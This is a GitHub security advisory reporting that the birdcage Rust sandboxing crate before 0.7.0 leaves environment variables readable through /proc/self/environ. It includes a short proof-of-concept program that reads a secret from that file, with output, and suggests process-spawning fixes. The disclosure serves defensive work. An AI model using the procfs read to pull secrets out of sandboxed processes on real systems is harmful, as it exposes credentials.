GitHub Advisoryadvisory · crates.io

GHSA-wj7f-468m-6mv8 Environment variables still accessible through /proc

MEDIUM Published 2023-12-01 Modified 2023-12-01 Official page ↗
Ecosystem
crates.io
Packages
birdcage
Severity
Moderate
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Weaknesses
CWE-200
Reviewed
2023-12-01

Affected packages

• crates.io birdcage: < 0.7.0 → fixed in 0.7.0

Description

Impact Environment variables can be read from procfs unless a new process is started. PoC ``` use birdcage::{Birdcage, Sandbox}; use std::{env, fs}; fn main() { Birdcage::new().lock().unwrap(); assert_eq!(env::var_os("SECRET"), None); let environ = fs::read_to_string("/proc/self/environ").unwrap(); assert!(!environ.contains("SECRET"), "ENVIRON CONTAINS SECRET:\n{environ}"); } ``` ``` $ SECRET=test cargo run thread 'main' panicked at src/main.rs:10:5: ENVIRON CONTAINS SECRET: [truncated] ``` Possible Solutions The simplest solution would be relying on the ptrace isolation and always spawning a new process by changing birdcage's API to create a new command. With an additional PID namespace the guarantees could be even further reinforced.

Related

Weakness · CWE (1)

  • CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness

References